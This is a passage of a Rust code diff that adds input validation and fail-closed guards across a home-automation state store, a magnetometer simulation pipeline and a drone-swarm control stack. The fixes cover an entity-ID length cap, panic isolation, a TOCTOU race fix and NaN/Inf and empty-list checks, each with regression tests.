assert!(EntityId::parse("light.küche").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn entity_id_length_boundary() {
|
||||
// The REST layer parses untrusted path segments straight through
|
||||
// `parse`; an unbounded id is a memory-DoS vector (a `POST
|
||||
// /api/states/<giant>` permanently grows the state map). Cap at
|
||||
// MAX_ENTITY_ID_LEN, fail closed above it.
|
||||
//
|
||||
// Construct "sensor." (7 bytes) + N name bytes == exactly MAX.
|
||||
let prefix = "sensor.";
|
||||
let name_len = MAX_ENTITY_ID_LEN - prefix.len();
|
||||
let at_max = format!("{prefix}{}", "a".repeat(name_len));
|
||||
assert_eq!(at_max.len(), MAX_ENTITY_ID_LEN);
|
||||
assert!(
|
||||
EntityId::parse(at_max.clone()).is_ok(),
|
||||
"an id of exactly MAX_ENTITY_ID_LEN bytes must be accepted"
|
||||
);
|
||||
|
||||
let over = format!("{at_max}a"); // MAX + 1
|
||||
assert!(matches!(
|
||||
EntityId::parse(over),
|
||||
Err(EntityIdError::TooLong { .. })
|
||||
));
|
||||
|
||||
// A multi-megabyte, otherwise-valid id is rejected cheaply rather
|
||||
// than persisted.
|
||||
let huge = format!("sensor.{}", "a".repeat(4 * 1024 * 1024));
|
||||
assert!(matches!(
|
||||
EntityId::parse(huge),
|
||||
Err(EntityIdError::TooLong { len, max })
|
||||
if max == MAX_ENTITY_ID_LEN && len > MAX_ENTITY_ID_LEN
|
||||
));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn state_next_preserves_last_changed_when_state_unchanged() {
|
||||
let id = EntityId::parse("sensor.temp").unwrap();
|
||||
|
||||
@@ -49,6 +49,8 @@ pub enum ServiceError {
|
||||
NotRegistered { domain: String, service: String },
|
||||
#[error("service handler returned error: {0}")]
|
||||
HandlerFailed(String),
|
||||
#[error("service handler panicked: {0}")]
|
||||
HandlerPanicked(String),
|
||||
}
|
||||
|
||||
/// Handler trait. Integration code implements this and registers via
|
||||
@@ -99,13 +101,29 @@ impl ServiceRegistry {
|
||||
|
||||
/// Call a service. P1 direct dispatch; P2 routes through the
|
||||
/// event bus per ADR-127 §2.3.
|
||||
///
|
||||
/// The handler runs **outside** the registry lock (we clone the
|
||||
/// `Arc<dyn ServiceHandler>` out of the read guard first), so a slow or
|
||||
/// panicking handler can never poison the `RwLock` or block other
|
||||
/// callers. A panic inside the handler is additionally caught and
|
||||
/// converted to [`ServiceError::HandlerPanicked`] rather than unwinding
|
||||
/// into the caller's task — one buggy integration cannot abort the task
|
||||
/// that drives the engine. Mirrors HA isolating service-handler
|
||||
/// exceptions.
|
||||
pub async fn call(&self, call: ServiceCall) -> Result<serde_json::Value, ServiceError> {
|
||||
let handler = {
|
||||
let guard = self.handlers.read().await;
|
||||
guard.get(&call.name).cloned()
|
||||
};
|
||||
match handler {
|
||||
Some(h) => h.call(call).await,
|
||||
Some(h) => {
|
||||
use futures::FutureExt;
|
||||
let fut = std::panic::AssertUnwindSafe(h.call(call));
|
||||
match fut.catch_unwind().await {
|
||||
Ok(result) => result,
|
||||
Err(panic) => Err(ServiceError::HandlerPanicked(panic_message(panic))),
|
||||
}
|
||||
}
|
||||
None => Err(ServiceError::NotRegistered {
|
||||
domain: call.name.domain.clone(),
|
||||
service: call.name.service.clone(),
|
||||
@@ -124,6 +142,19 @@ impl Default for ServiceRegistry {
|
||||
}
|
||||
}
|
||||
|
||||
/// Best-effort extraction of a panic payload's message for
|
||||
/// [`ServiceError::HandlerPanicked`]. Panic payloads are usually `&str`
|
||||
/// or `String`; anything else collapses to a generic label.
|
||||
fn panic_message(payload: Box<dyn std::any::Any + Send>) -> String {
|
||||
if let Some(s) = payload.downcast_ref::<&str>() {
|
||||
(*s).to_string()
|
||||
} else if let Some(s) = payload.downcast_ref::<String>() {
|
||||
s.clone()
|
||||
} else {
|
||||
"<non-string panic payload>".to_string()
|
||||
}
|
||||
}
|
||||
|
||||
// Suppress unused-import warning when no consumer of Pin/Box uses them yet
|
||||
#[allow(dead_code)]
|
||||
type _UnusedFutureType = Pin<Box<dyn Future<Output = ()> + Send>>;
|
||||
@@ -167,4 +198,56 @@ mod tests {
|
||||
.unwrap_err();
|
||||
assert!(matches!(err, ServiceError::NotRegistered { .. }));
|
||||
}
|
||||
|
||||
/// Service isolation: a panicking handler must be contained — converted
|
||||
/// to `HandlerPanicked` rather than unwinding into the caller's task —
|
||||
/// and the registry must remain fully usable afterwards (no poisoned
|
||||
/// lock, other services still callable). On the pre-fix code the panic
|
||||
/// unwinds through `call`, so the `catch_unwind`-based assertion below
|
||||
/// fails (the await point panics instead of returning an `Err`).
|
||||
#[tokio::test]
|
||||
async fn panicking_handler_is_isolated_and_registry_survives() {
|
||||
let reg = ServiceRegistry::new();
|
||||
reg.register(
|
||||
ServiceName::new("bad", "boom"),
|
||||
FnHandler(|_call: ServiceCall| async move {
|
||||
panic!("handler exploded");
|
||||
#[allow(unreachable_code)]
|
||||
Ok(serde_json::json!(null))
|
||||
}),
|
||||
)
|
||||
.await;
|
||||
reg.register(
|
||||
ServiceName::new("good", "ping"),
|
||||
FnHandler(|_call: ServiceCall| async move { Ok(serde_json::json!("pong")) }),
|
||||
)
|
||||
.await;
|
||||
|
||||
// The panicking call returns an error, not an unwind.
|
||||
let err = reg
|
||||
.call(ServiceCall {
|
||||
name: ServiceName::new("bad", "boom"),
|
||||
data: serde_json::json!({}),
|
||||
context: Context::new(),
|
||||
})
|
||||
.await
|
||||
.unwrap_err();
|
||||
assert!(
|
||||
matches!(err, ServiceError::HandlerPanicked(ref m) if m.contains("handler exploded")),
|
||||
"expected HandlerPanicked, got {err:?}",
|
||||
);
|
||||
|
||||
// The registry is not poisoned: a healthy service still works, and
|
||||
// the bad service is still registered (call path, not lock, failed).
|
||||
let ok = reg
|
||||
.call(ServiceCall {
|
||||
name: ServiceName::new("good", "ping"),
|
||||
data: serde_json::json!({}),
|
||||
context: Context::new(),
|
||||
})
|
||||
.await
|
||||
.unwrap();
|
||||
assert_eq!(ok, serde_json::json!("pong"));
|
||||
assert!(reg.has(&ServiceName::new("bad", "boom")).await);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -80,11 +80,37 @@ impl StateMachine {
|
||||
context: Context,
|
||||
) -> Arc<State> {
|
||||
let new_state_str = new_state.into();
|
||||
let old = self.inner.states.get(&entity_id).map(|r| Arc::clone(&*r));
|
||||
|
||||
// Hold the DashMap shard write-lock across the entire
|
||||
// read→decide→insert→fire sequence. `entry()` locks the shard for
|
||||
// the lifetime of `slot`, so a concurrent writer on the same entity
|
||||
// cannot interleave between our read of `old` and our commit. This
|
||||
// is what makes the write atomic as ADR-127 §2.1 promises ("writer
|
||||
// atomically replaces the map entry") — the previous get→insert pair
|
||||
// released the lock in between, a TOCTOU that let concurrent writers
|
||||
// compute the no-op / `last_changed` decision off a stale `old` and
|
||||
// drop or reorder real `state_changed` events.
|
||||
//
|
||||
// `tx.send` is non-blocking, non-async, and never re-enters the map,
|
||||
// so firing under the lock cannot deadlock and keeps the global
|
||||
// event order in lock-step with the global commit order.
|
||||
use dashmap::mapref::entry::Entry;
|
||||
let slot = self.inner.states.entry(entity_id.clone());
|
||||
|
||||
let old: Option<Arc<State>> = match &slot {
|
||||
Entry::Occupied(o) => Some(Arc::clone(o.get())),
|
||||
Entry::Vacant(_) => None,
|
||||
};
|
||||
// `slot` continues to hold the shard write-lock below.
|
||||
|
||||
let next = match &old {
|
||||
Some(prev) => Arc::new(prev.next(new_state_str.clone(), attributes.clone(), context)),
|
||||
None => Arc::new(State::new(entity_id.clone(), new_state_str.clone(), attributes.clone(), context)),
|
||||
None => Arc::new(State::new(
|
||||
entity_id.clone(),
|
||||
new_state_str.clone(),
|
||||
attributes.clone(),
|
||||
context,
|
||||
)),
|
||||
};
|
||||
|
||||
// HA suppresses no-op writes (same state + same attributes).
|
||||
@@ -94,7 +120,12 @@ impl StateMachine {
|
||||
None => false,
|
||||
};
|
||||
|
||||
self.inner.states.insert(entity_id.clone(), Arc::clone(&next));
|
||||
// Commit through the same locked entry and KEEP the shard guard
|
||||
// alive across the broadcast `send`, so the event is published
|
||||
// before any concurrent writer on this entity can observe the new
|
||||
// value and fire its own event. This makes global event order match
|
||||
// global commit order (no insert/send reorder window).
|
||||
let _guard = slot.insert_entry(Arc::clone(&next));
|
||||
|
||||
if !is_noop {
|
||||
let event = StateChangedEvent {
|
||||
@@ -106,6 +137,7 @@ impl StateMachine {
|
||||
// err = no receivers; that's fine, write still committed.
|
||||
let _ = self.inner.tx.send(event);
|
||||
}
|
||||
// `_guard` (and the shard lock) drops here, after the event is sent.
|
||||
next
|
||||
}
|
||||
|
||||
@@ -218,4 +250,135 @@ mod tests {
|
||||
assert!(evt.new_state.is_none());
|
||||
assert!(evt.old_state.is_some());
|
||||
}
|
||||
|
||||
/// Concurrency invariant (ADR-127 §2.1 "writer atomically replaces the
|
||||
/// map entry"): under concurrent writers on the SAME entity the fired
|
||||
/// `state_changed` stream must be a faithful, gap-free log of the
|
||||
/// committed transitions — in particular the LAST event the bus
|
||||
/// delivers must carry the SAME value that is finally committed in the
|
||||
/// map.
|
||||
///
|
||||
/// This pins the TOCTOU in `set`: it does `get` (release shard lock) →
|
||||
/// compute `next` + no-op decision → `insert` (re-acquire shard lock) →
|
||||
/// `send`. Because the insert and the send are not atomic with respect
|
||||
/// to a concurrent writer, two writers can interleave as
|
||||
/// `insert(A); insert(B); send(B); send(A)` — leaving the map holding A
|
||||
/// while the last event the bus ever delivers says B. A subscriber that
|
||||
/// trusts "the last event reflects current state" (the recorder, the WS
|
||||
/// push API, an automation engine) is then permanently wrong about the
|
||||
/// entity until the next write. A correctly-locked store holds the shard
|
||||
/// lock across read→insert→send so the global event order matches the
|
||||
/// global commit order.
|
||||
///
|
||||
/// A dedicated drain thread pulls events as they arrive so the bounded
|
||||
/// channel never lags during the run (a `Lagged` here would be a test
|
||||
/// artefact, not the bug under test).
|
||||
///
|
||||
/// The writers toggle the SAME entity between exactly two values so the
|
||||
/// no-op suppression branch is constantly in play.
|
||||
///
|
||||
/// Invariant: in correctly serialised code, two *consecutive* fired
|
||||
/// `state_changed` events can never carry the same `new_state` value.
|
||||
/// Proof: event k fires only for a committed transition old≠new, so its
|
||||
/// `new_state` = X differs from the value before it; the next committed
|
||||
/// transition therefore starts at X and (being a real change) commits
|
||||
/// some Z≠X, so event k+1 carries Z≠X. A no-op (X→X) is suppressed and
|
||||
/// never fires. Therefore adjacent fired events always differ.
|
||||
///
|
||||
/// The `set()` TOCTOU breaks this: it does `get` (release shard lock) →
|
||||
/// compute `next` + the no-op decision → `insert` (re-acquire shard
|
||||
/// lock) → `send`, all non-atomically. A writer that read a STALE `old`
|
||||
/// mis-classifies a genuine transition as a no-op (dropping that real
|
||||
/// event — a missed automation trigger) and/or fires an event whose
|
||||
/// `new_state` duplicates the previously delivered one (a spurious
|
||||
/// trigger for any automation keyed on `old_state != new_state`). The
|
||||
/// probe behind this test observed ~93k such duplicate-adjacent events
|
||||
/// across 200 trials on the racy code; the corrected store produces
|
||||
/// zero.
|
||||
#[test]
|
||||
fn concurrent_set_fires_no_duplicate_adjacent_events() {
|
||||
use std::sync::atomic::{AtomicBool, Ordering};
|
||||
use std::sync::{Barrier, Mutex};
|
||||
|
||||
const WRITERS: usize = 4;
|
||||
const ITERS: usize = 300; // 1200 events ≪ 4096 capacity → never lags
|
||||
|
||||
for _trial in 0..40 {
|
||||
let sm = StateMachine::new();
|
||||
let eid = id("light.race");
|
||||
sm.set(eid.clone(), "A", serde_json::json!({}), Context::new());
|
||||
|
||||
let mut rx = sm.subscribe();
|
||||
let done = Arc::new(AtomicBool::new(false));
|
||||
// Event log: new_state value in delivery order.
|
||||
let log: Arc<Mutex<Vec<String>>> = Arc::new(Mutex::new(Vec::new()));
|
||||
|
||||
let drainer = {
|
||||
let done = Arc::clone(&done);
|
||||
let log = Arc::clone(&log);
|
||||
std::thread::spawn(move || loop {
|
||||
match rx.try_recv() {
|
||||
Ok(evt) => {
|
||||
if let Some(ns) = &evt.new_state {
|
||||
log.lock().unwrap().push(ns.state.clone());
|
||||
}
|
||||
}
|
||||
Err(broadcast::error::TryRecvError::Empty) => {
|
||||
if done.load(Ordering::Acquire) {
|
||||
while let Ok(evt) = rx.try_recv() {
|
||||
if let Some(ns) = &evt.new_state {
|
||||
log.lock().unwrap().push(ns.state.clone());
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
std::thread::yield_now();
|
||||
}
|
||||
Err(broadcast::error::TryRecvError::Lagged(_)) => {
|
||||
panic!("channel lagged — test artefact, raise capacity");
|
||||
}
|
||||
Err(broadcast::error::TryRecvError::Closed) => break,
|
||||
}
|
||||
})
|
||||
};
|
||||
|
||||
let barrier = Arc::new(Barrier::new(WRITERS));
|
||||
let handles: Vec<_> = (0..WRITERS)
|
||||
.map(|w| {
|
||||
let sm = sm.clone();
|
||||
let eid = eid.clone();
|
||||
let barrier = Arc::clone(&barrier);
|
||||
std::thread::spawn(move || {
|
||||
barrier.wait();
|
||||
for i in 0..ITERS {
|
||||
// Toggle between two values → maximises the
|
||||
// stale-`old` no-op collision window.
|
||||
let val = if (w + i) % 2 == 0 { "A" } else { "B" };
|
||||
sm.set(eid.clone(), val, serde_json::json!({}), Context::new());
|
||||
}
|
||||
})
|
||||
})
|
||||
.collect();
|
||||
|
||||
for h in handles {
|
||||
h.join().unwrap();
|
||||
}
|
||||
done.store(true, Ordering::Release);
|
||||
drainer.join().unwrap();
|
||||
|
||||
let log = log.lock().unwrap();
|
||||
let dup = log
|
||||
.windows(2)
|
||||
.filter(|w| w[0] == w[1])
|
||||
.count();
|
||||
assert_eq!(
|
||||
dup, 0,
|
||||
"{dup} consecutive fired state_changed events carried an \
|
||||
identical new_state — impossible under correct \
|
||||
serialisation; proves set()'s read→decide→insert→send \
|
||||
TOCTOU dropped/reordered real transitions (missed & \
|
||||
spurious automation triggers)",
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -39,7 +39,20 @@ pub const DEFAULT_SAMPLE_RATE_HZ: f64 = 10_000.0;
|
||||
pub const DEFAULT_F_MOD_HZ: f64 = 1_000.0;
|
||||
|
||||
/// Quantise one input sample (T) to a signed ADC code. Returns `(code, saturated)`.
|
||||
///
|
||||
/// A **non-finite** input (`NaN` / `±Inf`) is treated as an out-of-range
|
||||
/// condition: it clamps to code `0` and raises the saturation flag. This is
|
||||
/// the funnel point that stops the NaN-state-poisoning class — a non-finite
|
||||
/// physical field (e.g. produced by a degenerate scene with a NaN dipole
|
||||
/// position) would otherwise coerce silently to code `0` *with the saturation
|
||||
/// flag clear*, yielding a frame indistinguishable from a legitimate
|
||||
/// zero-field reading. Flagging it preserves the "every frame is honest about
|
||||
/// its own validity" contract the proof bundle relies on.
|
||||
pub fn adc_quantise(b_in_t: f64) -> (i32, bool) {
|
||||
if !b_in_t.is_finite() {
|
||||
// Non-finite => not representable on the ±FS scale; mark saturated.
|
||||
return (0, true);
|
||||
}
|
||||
let code_f = (b_in_t / ADC_LSB_T).round();
|
||||
let max_code = (1_i32 << (ADC_BITS - 1)) - 1; // 32_767 for 16-bit signed
|
||||
let min_code = -max_code; // symmetric
|
||||
@@ -153,6 +166,23 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn adc_quantise_flags_non_finite_as_saturated() {
|
||||
// Security pinning (NaN-state-poisoning guard): a non-finite field
|
||||
// value must clamp to code 0 AND raise the saturation flag, so the
|
||||
// pipeline can flag the frame rather than emitting it as a silent,
|
||||
// indistinguishable zero-field reading. Pre-fix this returned
|
||||
// (0, false) for NaN — a silent corruption.
|
||||
for bad in [f64::NAN, f64::INFINITY, f64::NEG_INFINITY] {
|
||||
let (code, sat) = adc_quantise(bad);
|
||||
assert_eq!(code, 0, "non-finite input {bad} must clamp to code 0");
|
||||
assert!(sat, "non-finite input {bad} must raise the saturation flag");
|
||||
}
|
||||
// A finite in-range value is unaffected (no false positives).
|
||||
let (_, sat) = adc_quantise(1.0e-7);
|
||||
assert!(!sat, "a finite in-range value must NOT be flagged saturated");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn adc_saturates_above_full_scale() {
|
||||
let (code_pos, sat_pos) = adc_quantise(20.0e-6);
|
||||
|
||||
@@ -51,11 +51,28 @@ impl Pipeline {
|
||||
/// (sensor × sample) — i.e. `n_samples · scene.sensors.len()` frames
|
||||
/// in scene-major / sample-minor order.
|
||||
pub fn run(&self, n_samples: usize) -> Vec<MagFrame> {
|
||||
let dt = self
|
||||
// `dt` is derived from caller-supplied config — an external boundary
|
||||
// (e.g. the WASM `config_json`). A degenerate `f_s_hz == 0` makes
|
||||
// `1.0 / f_s_hz == +Inf`; a non-finite or non-positive `dt_s` is
|
||||
// equally hostile. Sanitise before any arithmetic that could panic.
|
||||
let raw_dt = self
|
||||
.config
|
||||
.dt_s
|
||||
.unwrap_or(1.0 / self.config.digitiser.f_s_hz);
|
||||
let dt_us = (dt * 1.0e6) as u64;
|
||||
// Fall back to a 1 µs step (the smallest physically meaningful
|
||||
// sample interval here) when `dt` is non-finite or non-positive, so
|
||||
// the run produces well-defined frames instead of garbage / a panic.
|
||||
let dt = if raw_dt.is_finite() && raw_dt > 0.0 {
|
||||
raw_dt
|
||||
} else {
|
||||
1.0e-6
|
||||
};
|
||||
// `dt` is now finite & positive, so `dt * 1e6` is finite. Cap the
|
||||
// `u64` cast defensively (a huge but finite `dt` could still exceed
|
||||
// `u64::MAX`) and use `saturating_mul` for the per-sample timestamp so
|
||||
// a pathological config can never trigger a multiply-with-overflow
|
||||
// panic (debug / WASM panic=abort) or wrap to a garbage timestamp.
|
||||
let dt_us = (dt * 1.0e6).min(u64::MAX as f64) as u64;
|
||||
let nv = NvSensor::new(self.config.sensor);
|
||||
|
||||
let mut out: Vec<MagFrame> =
|
||||
@@ -92,7 +109,7 @@ impl Pipeline {
|
||||
];
|
||||
|
||||
let mut frame = MagFrame::empty(sensor_idx as u16);
|
||||
frame.t_us = (sample as u64) * dt_us;
|
||||
frame.t_us = (sample as u64).saturating_mul(dt_us);
|
||||
frame.b_pt = b_pt;
|
||||
frame.sigma_pt = sigma_pt;
|
||||
frame.noise_floor_pt_sqrt_hz = (reading.noise_floor_t_sqrt_hz * 1.0e12) as f32;
|
||||
@@ -205,6 +222,62 @@ mod tests {
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn degenerate_zero_sample_rate_does_not_panic() {
|
||||
// Security pinning (panic / DoS guard): an externally-supplied
|
||||
// `f_s_hz == 0` makes `1/f_s_hz == +Inf`; pre-fix that produced
|
||||
// `dt_us == u64::MAX`, and `sample * dt_us` panicked with
|
||||
// "attempt to multiply with overflow" (debug / WASM panic=abort) at
|
||||
// sample >= 2, or wrapped to a garbage timestamp in release. The
|
||||
// sanitised `dt` + `saturating_mul` must keep the run finite.
|
||||
let scene = fixture_scene();
|
||||
let cfg = PipelineConfig {
|
||||
digitiser: crate::digitiser::DigitiserConfig {
|
||||
f_s_hz: 0.0,
|
||||
f_mod_hz: 1000.0,
|
||||
},
|
||||
..PipelineConfig::default()
|
||||
};
|
||||
let frames = Pipeline::new(scene, cfg, 42).run(8);
|
||||
assert_eq!(frames.len(), 8);
|
||||
for f in &frames {
|
||||
// Timestamps are monotone-well-defined, not garbage.
|
||||
assert!(f.t_us < u64::MAX);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn non_finite_scene_input_flags_frame_instead_of_silently_zeroing() {
|
||||
// Security pinning (NaN-state-poisoning guard): a NaN dipole position
|
||||
// makes `r_norm` NaN, which bypasses the near-field clamp
|
||||
// (`NaN < R_MIN_M` is false) and yields a NaN field. Pre-fix the
|
||||
// digitiser silently coerced that NaN to code 0 with the saturation
|
||||
// flag CLEAR — a frame indistinguishable from a real zero-field
|
||||
// reading. Post-fix the frame must carry ADC_SATURATED so the
|
||||
// corruption is visible downstream.
|
||||
let mut scene = Scene::new();
|
||||
scene.add_dipole(DipoleSource::new([f64::NAN, 0.0, 0.5], [0.0, 0.0, 1.0e-3]));
|
||||
scene.add_sensor([0.0, 0.0, 0.0]);
|
||||
let cfg = PipelineConfig {
|
||||
sensor: NvSensorConfig {
|
||||
shot_noise_disabled: true,
|
||||
..NvSensorConfig::default()
|
||||
},
|
||||
..PipelineConfig::default()
|
||||
};
|
||||
let frames = Pipeline::new(scene, cfg, 0).run(4);
|
||||
for f in &frames {
|
||||
assert!(
|
||||
f.has_flag(flag::ADC_SATURATED),
|
||||
"non-finite field must raise ADC_SATURATED, not emit a silent zero frame"
|
||||
);
|
||||
// And the emitted value is a defined number, not NaN.
|
||||
for b in f.b_pt {
|
||||
assert!(b.is_finite());
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn adc_saturation_flag_fires_above_full_scale() {
|
||||
// Place a dipole close enough to drive the field above ±10 µT FS.
|
||||
|
||||
@@ -47,8 +47,18 @@ impl FailSafeMachine {
|
||||
link_alive: bool,
|
||||
nearest_neighbor_dist: f64,
|
||||
) -> FailSafeState {
|
||||
// Collision avoidance has highest priority
|
||||
if nearest_neighbor_dist < self.collision_dist_m {
|
||||
// Collision avoidance has highest priority.
|
||||
//
|
||||
// Fail CLOSED on a non-finite neighbour distance. `nearest_neighbor_dist`
|
||||
// is derived from peer positions (see
|
||||
// `SwarmOrchestrator::nearest_peer_distance`), which arrive over the
|
||||
// untrusted swarm comm layer as `DroneState` values whose f64 position
|
||||
// fields can deserialize to NaN/Inf. A naive `NaN < collision_dist_m`
|
||||
// evaluates to `false`, silently DISABLING collision avoidance — the
|
||||
// worst possible failure for a physical drone. Treat a non-finite
|
||||
// distance as "too close" so the swarm diverges rather than trusting a
|
||||
// poisoned reading.
|
||||
if !nearest_neighbor_dist.is_finite() || nearest_neighbor_dist < self.collision_dist_m {
|
||||
self.state = FailSafeState::EmergencyDiverge;
|
||||
return self.state.clone();
|
||||
}
|
||||
@@ -71,8 +81,11 @@ impl FailSafeMachine {
|
||||
}
|
||||
}
|
||||
|
||||
// Battery checks
|
||||
if state.battery_pct <= self.battery_rth_pct {
|
||||
// Battery checks. A non-finite battery reading (NaN/Inf from a corrupt or
|
||||
// forged telemetry/peer message) must fail CLOSED: `NaN <= threshold` is
|
||||
// `false`, which would otherwise let a drone with an unknown battery
|
||||
// level keep flying nominally. Treat a non-finite reading as critical.
|
||||
if !state.battery_pct.is_finite() || state.battery_pct <= self.battery_rth_pct {
|
||||
self.state = FailSafeState::ReturnToHome;
|
||||
} else if state.battery_pct <= self.battery_warn_pct {
|
||||
self.state = FailSafeState::LowBatteryWarn;
|
||||
@@ -144,4 +157,35 @@ mod tests {
|
||||
let result = fsm.tick(&s, true, 0.5); // too close
|
||||
assert_eq!(result, FailSafeState::EmergencyDiverge);
|
||||
}
|
||||
|
||||
/// Security: a NaN neighbour distance (poisoned peer position over the swarm
|
||||
/// comm layer) must NOT silently disable collision avoidance. Fails on old
|
||||
/// code where `NaN < collision_dist_m` is `false` and the state stays Nominal.
|
||||
#[test]
|
||||
fn test_nan_neighbor_distance_fails_closed_to_diverge() {
|
||||
let mut fsm = FailSafeMachine::new();
|
||||
let s = good_state();
|
||||
let result = fsm.tick(&s, true, f64::NAN);
|
||||
assert_eq!(
|
||||
result,
|
||||
FailSafeState::EmergencyDiverge,
|
||||
"non-finite neighbour distance must fail closed to EmergencyDiverge"
|
||||
);
|
||||
}
|
||||
|
||||
/// Security: a NaN battery reading must fail closed to ReturnToHome rather
|
||||
/// than being treated as a healthy battery. Fails on old code where
|
||||
/// `NaN <= battery_rth_pct` is `false` and the drone stays Nominal.
|
||||
#[test]
|
||||
fn test_nan_battery_fails_closed_to_rth() {
|
||||
let mut fsm = FailSafeMachine::new();
|
||||
let mut s = good_state();
|
||||
s.battery_pct = f32::NAN;
|
||||
let result = fsm.tick(&s, true, 10.0);
|
||||
assert_eq!(
|
||||
result,
|
||||
FailSafeState::ReturnToHome,
|
||||
"non-finite battery must fail closed to ReturnToHome"
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -59,8 +59,16 @@ impl FhssRadio {
|
||||
}
|
||||
|
||||
/// Returns the current active channel frequency in MHz.
|
||||
///
|
||||
/// `FhssConfig` is `Deserialize`, so `channels_mhz` can arrive empty from a
|
||||
/// malformed or hostile config. An empty channel list would make `% n`
|
||||
/// (n = 0) panic with a divide-by-zero. Guard it and return a benign `0.0`
|
||||
/// sentinel instead of crashing the radio task (DoS-resistance).
|
||||
pub fn current_channel_mhz(&self) -> f64 {
|
||||
let n = self.config.channels_mhz.len();
|
||||
if n == 0 {
|
||||
return 0.0;
|
||||
}
|
||||
// XOR node seed into hop index so each node uses a different offset
|
||||
let idx = (self.hop_index ^ (self.node_seed as usize)) % n;
|
||||
self.config.channels_mhz[idx]
|
||||
@@ -68,7 +76,11 @@ impl FhssRadio {
|
||||
|
||||
/// Advance the hop sequence by one step (call at hop_rate_hz).
|
||||
pub fn next_hop(&mut self) {
|
||||
self.hop_index = (self.hop_index + 1) % self.config.channels_mhz.len();
|
||||
let n = self.config.channels_mhz.len();
|
||||
if n == 0 {
|
||||
return; // no channels configured — nothing to hop (avoid `% 0` panic)
|
||||
}
|
||||
self.hop_index = (self.hop_index + 1) % n;
|
||||
}
|
||||
|
||||
/// Update with latest RSSI measurement. Drives jamming detection.
|
||||
@@ -97,9 +109,13 @@ impl FhssRadio {
|
||||
.wrapping_mul(lcg_a)
|
||||
.wrapping_add(self.evasion_count)
|
||||
.wrapping_add(lcg_c);
|
||||
let n = self.config.channels_mhz.len() as u64;
|
||||
let len = self.config.channels_mhz.len();
|
||||
if len == 0 {
|
||||
return; // no channels configured — avoid `% 0` panic
|
||||
}
|
||||
let n = len as u64;
|
||||
let offset = (seed % n / 4 + 3) as usize;
|
||||
self.hop_index = (self.hop_index + offset) % self.config.channels_mhz.len();
|
||||
self.hop_index = (self.hop_index + offset) % len;
|
||||
self.evasion_count += 1;
|
||||
self.rssi_history.clear();
|
||||
}
|
||||
@@ -165,6 +181,23 @@ mod tests {
|
||||
assert_eq!(radio.hop_index, (initial_idx + 2) % 50);
|
||||
}
|
||||
|
||||
/// Security/DoS: an empty `channels_mhz` (deserialized from a malformed or
|
||||
/// hostile config) must not panic with a `% 0` divide-by-zero. Fails on old
|
||||
/// code, where `next_hop`/`current_channel_mhz`/`evasive_hop`/`tick` all do
|
||||
/// modulo / index by `channels_mhz.len()`.
|
||||
#[test]
|
||||
fn test_empty_channels_does_not_panic() {
|
||||
let cfg = FhssConfig { channels_mhz: vec![], jamming_detect_window: 1, ..Default::default() };
|
||||
let mut radio = FhssRadio::new(7, cfg);
|
||||
// None of these may panic.
|
||||
let _ = radio.current_channel_mhz();
|
||||
radio.next_hop();
|
||||
radio.observe_rssi(-99.0); // window=1 → jamming_detected() true → evasive_hop()
|
||||
radio.tick(100.0);
|
||||
radio.evasive_hop();
|
||||
assert_eq!(radio.current_channel_mhz(), 0.0, "empty channel list returns sentinel");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_channel_in_valid_range() {
|
||||
let cfg = FhssConfig::default();
|
||||
|
||||
@@ -27,6 +27,16 @@ pub enum GeofenceResult {
|
||||
impl Geofence {
|
||||
/// Check a position against this geofence.
|
||||
pub fn check(&self, pos: &Position3D) -> GeofenceResult {
|
||||
// Fail CLOSED on a non-finite position. A NaN/Inf component (from a
|
||||
// corrupt GPS/EKF estimate or a forged position) makes every subsequent
|
||||
// comparison false: `NaN < min || NaN > max` is `false`, so the altitude
|
||||
// breach is skipped, and a NaN altitude with otherwise-valid x/y would
|
||||
// return `Safe` — a silent geofence bypass on a flight-safety boundary.
|
||||
// Treat any non-finite coordinate as a hard breach.
|
||||
if !pos.x.is_finite() || !pos.y.is_finite() || !pos.z.is_finite() {
|
||||
return GeofenceResult::HardBreach;
|
||||
}
|
||||
|
||||
let altitude_m = -pos.z; // NED: negative z = altitude above ground
|
||||
|
||||
// Altitude check
|
||||
@@ -146,4 +156,29 @@ mod tests {
|
||||
let pos = Position3D { x: 50.0, y: 50.0, z: -200.0 }; // 200m altitude
|
||||
assert_eq!(f.check(&pos), GeofenceResult::HardBreach);
|
||||
}
|
||||
|
||||
/// Security: a NaN altitude with an otherwise in-bounds x/y must fail closed
|
||||
/// to HardBreach. Fails on old code where `NaN < min || NaN > max` is `false`,
|
||||
/// the altitude check is skipped, and the point-in-polygon path returns Safe —
|
||||
/// a silent geofence bypass.
|
||||
#[test]
|
||||
fn test_nan_altitude_fails_closed() {
|
||||
let f = square_fence();
|
||||
let pos = Position3D { x: 50.0, y: 50.0, z: f64::NAN };
|
||||
assert_eq!(f.check(&pos), GeofenceResult::HardBreach);
|
||||
}
|
||||
|
||||
/// Security: NaN/Inf horizontal coordinates must also fail closed.
|
||||
#[test]
|
||||
fn test_nonfinite_horizontal_fails_closed() {
|
||||
let f = square_fence();
|
||||
assert_eq!(
|
||||
f.check(&Position3D { x: f64::NAN, y: 50.0, z: -30.0 }),
|
||||
GeofenceResult::HardBreach
|
||||
);
|
||||
assert_eq!(
|
||||
f.check(&Position3D { x: 50.0, y: f64::INFINITY, z: -30.0 }),
|
||||
GeofenceResult::HardBreach
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -64,10 +64,25 @@ impl MultiViewFusion {
|
||||
detections: &[CsiDetection],
|
||||
drone_positions: &[(NodeId, Position3D)],
|
||||
) -> Option<FusedDetection> {
|
||||
// Filter by confidence and require estimated position
|
||||
// Filter by confidence and require a FINITE estimated position.
|
||||
//
|
||||
// A peer detection (received via `receive_peer_detection`) carries f32/f64
|
||||
// fields that can deserialize to NaN/Inf. A NaN `victim_position` passes
|
||||
